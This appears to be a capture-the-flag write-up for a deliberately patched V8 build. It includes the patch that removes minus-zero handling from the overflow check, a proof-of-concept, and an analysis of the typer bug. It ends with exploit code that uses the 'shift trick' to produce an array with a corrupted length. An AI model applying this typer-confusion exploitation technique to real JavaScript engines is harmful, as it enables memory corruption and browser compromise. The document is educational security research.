Setup

fetch v8
git reset --hard c126700cbc1f7391b8b717f7c54b4f9537355db7

Patch

diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index da7d0b0fde..f91eea1693 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
@@ -186,12 +186,12 @@ bool CanOverflowSigned32(const Operator* op, Type left, Type right,
   // We assume the inputs are checked Signed32 (or known statically to be
   // Signed32). Technically, the inputs could also be minus zero, which we treat
   // as 0 for the purpose of this function.
-  if (left.Maybe(Type::MinusZero())) {
-    left = Type::Union(left, type_cache->kSingletonZero, type_zone);
-  }
-  if (right.Maybe(Type::MinusZero())) {
-    right = Type::Union(right, type_cache->kSingletonZero, type_zone);
-  }
+//  if (left.Maybe(Type::MinusZero())) {
+//    left = Type::Union(left, type_cache->kSingletonZero, type_zone);
+//  }
+//  if (right.Maybe(Type::MinusZero())) {
+//    right = Type::Union(right, type_cache->kSingletonZero, type_zone);
+//  }
   left = Type::Intersect(left, Type::Signed32(), type_zone);
   right = Type::Intersect(right, Type::Signed32(), type_zone);
   if (left.IsNone() || right.IsNone()) return false;
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index fe68106a55..90f2810140 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -2417,7 +2417,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
   global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
-  global_template->Set(isolate, "version",
+/*  global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));

   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
@@ -2462,7 +2462,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
                          Shell::CreateAsyncHookTemplate(isolate));
   }

-  return global_template;
+*/  return global_template;
 }

 Local<ObjectTemplate> Shell::CreateOSTemplate(Isolate* isolate) {

Commented Code

+//  if (left.Maybe(Type::MinusZero())) {
+//    left = Type::Union(left, type_cache->kSingletonZero, type_zone);
+//  }
+//  if (right.Maybe(Type::MinusZero())) {
+//    right = Type::Union(right, type_cache->kSingletonZero, type_zone);
+//  }

POC and Analysis

// incomplete
function trigger(a) {
	let x = a ? 2 : -0x80000000;
	let y = a ? -1 : -0;
	let sub = y - x;
	let ret = sub == -0x80000000;
	return ret;
}

trigger(true);
for (var i = 0; i < 10000; i++) {
	trigger(true);
}
console.log(trigger(false)); //returns true

In the poc, if the a is true:

x = 2
y = -1
sub = y - x = -1 - 2 = -3
ret = sub == -0x80000000 = -3 == -0x80000000;
ret = false

If the a is false:

x = -0x80000000
y = -0
sub = y - x = -0 - (-0x80000000) = 2147483648 (0x80000000 in hex)
ret = sub == -0x80000000 = 0x80000000 == -0x80000000;
ret = false

As we can see above, in both cases the trigger function should return false. However, after the optimization the trigger(false) returns true which is incorrect. This is because the -0 is not checked in the CanOverflowSigned32

// src/compiler/simplified-lowering.cc
bool CanOverflowSigned32(const Operator* op, Type left, Type right,
                         TypeCache const* type_cache, Zone* type_zone) {
  // We assume the inputs are checked Signed32 (or known statically to be
  // Signed32). Technically, the inputs could also be minus zero, which we treat
  // as 0 for the purpose of this function.
//  if (left.Maybe(Type::MinusZero())) {
//    left = Type::Union(left, type_cache->kSingletonZero, type_zone);
//  }
//  if (right.Maybe(Type::MinusZero())) {
//    right = Type::Union(right, type_cache->kSingletonZero, type_zone);
//  }
  left = Type::Intersect(left, Type::Signed32(), type_zone);
  right = Type::Intersect(right, Type::Signed32(), type_zone);
  if (left.IsNone() || right.IsNone()) return false;
  switch (op->opcode()) {
    case IrOpcode::kSpeculativeSafeIntegerAdd:
      return (left.Max() + right.Max() > kMaxInt) ||
             (left.Min() + right.Min() < kMinInt);

    case IrOpcode::kSpeculativeSafeIntegerSubtract:
      return (left.Max() - right.Min() > kMaxInt) ||
             (left.Min() - right.Max() < kMinInt);

    default:
      UNREACHABLE();
  }
  return true;
}

Before Intersect:

BeforeIntersect

After Intersect:

AfterIntersect

After the intersect we can see that the range is Range(-1,-1) and -0 is lost but, in actual it should be Range(-1, 0) which might give incorrect information to other optimization phases. After the intersect, it’ll check either the opcode is kSpeculativeSafeIntegerAdd or kSpeculativeSafeIntegerSubtract. This is to check if there’s an overflow or not.

bool CanOverflowSigned32(const Operator* op, Type left, Type right,
                         TypeCache const* type_cache, Zone* type_zone) {
  // We assume the inputs are checked Signed32 (or known statically to be
  // Signed32). Technically, the inputs could also be minus zero, which we treat
  // as 0 for the purpose of this function.
//  if (left.Maybe(Type::MinusZero())) {
//    left = Type::Union(left, type_cache->kSingletonZero, type_zone);
//  }
//  if (right.Maybe(Type::MinusZero())) {
//    right = Type::Union(right, type_cache->kSingletonZero, type_zone);
//  }
  left = Type::Intersect(left, Type::Signed32(), type_zone);
  right = Type::Intersect(right, Type::Signed32(), type_zone);
   // [...]
    case IrOpcode::kSpeculativeSafeIntegerSubtract:  // [1]
      return (left.Max() - right.Min() > kMaxInt) ||
             (left.Min() - right.Max() < kMinInt);
   // [...]
}

In our case, it’s a kSpeculativeSafeIntegerSubtract there it’ll check if the resultant number is greater than kMaxInt and less than kMinInt. If either of one returns true compiler will know it’s an overflow.

In actual, if the -0 was not lost durint intersect:

left_min = left.Min() = -1
left_max = left.Max() = -0
right_min = right.Min() = -2147483648
right_max = right.Max() = 2
kMaxInt = 2147483647
kMinInt = -2147483648

// checking if greater than kMaxInt
(left_max - right_min) > kMaxInt
(-0 - (-2147483648)) > 2147483647
2147483648 > 2147483647
true   // overflow

// checking if less than kMinInt
(left_min - right_max) < kMinInt
(-1 - 2) < -2147483648
-3 < -2147483648
false

However, because of the patch the -0 is not checked and during the intersect, instead of -0 it returns -1.

left_min = left.Min() = -1
left_max = left.Max() = -1
right_min = right.Min() = -2147483648
right_max = right.Max() = 2
kMaxInt = 2147483647
kMinInt = -2147483648

// checking if greater than kMaxInt
(left_max - right_min) > kMaxInt
(-1 - (-2147483648)) > 2147483647
2147483647 > 2147483647
false   // overflow

// checking if less than kMinInt
(left_min - right_max) < kMinInt
(-1 - 2) < -2147483648
-3 < -2147483648
false

As a result, at VisitSpeculativeIntegerAdditiveOp function because the CanOverflowSigned32 returned false, the op of the node is changed to Int32Op which is IntSub instead of Int32OverflowOp.

  template <Phase T>
  void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
                                         SimplifiedLowering* lowering) {
    // [...]
    if (lower<T>()) {
      if (truncation.IsUsedAsWord32() ||
          !CanOverflowSigned32(node->op(), left_feedback_type,
                               right_feedback_type, type_cache_,
                               graph_zone())) {
        ChangeToPureOp(node, Int32Op(node)); // [1]

      } else {
        ChangeToInt32OverflowOp(node);
      }
    }
    return;
  }

In summary, because of the patch there’s no overflow check which causes the above POC to return true. However, the above poc is not helpful for the exploitation.

Exploit writing

Shift trick

function trigger(x) {
    let max = x ? 2 : -0x80000000;
    let min = x ? -1 : -0;
    let sub = min - max;
    sub = 0 + sub;
    let idx = Math.max(-2147483647, sub);
    idx = idx * -1;
    idx >>= 30;
    idx = Math.max(-1, idx);
    let arr = Array(idx);
    arr.shift();
    return arr;
}

trigger(true);
for (var i = 0; i < 10000; i++) {
    trigger(true);
}
g_arr = trigger(false);
console.log(g_arr.length);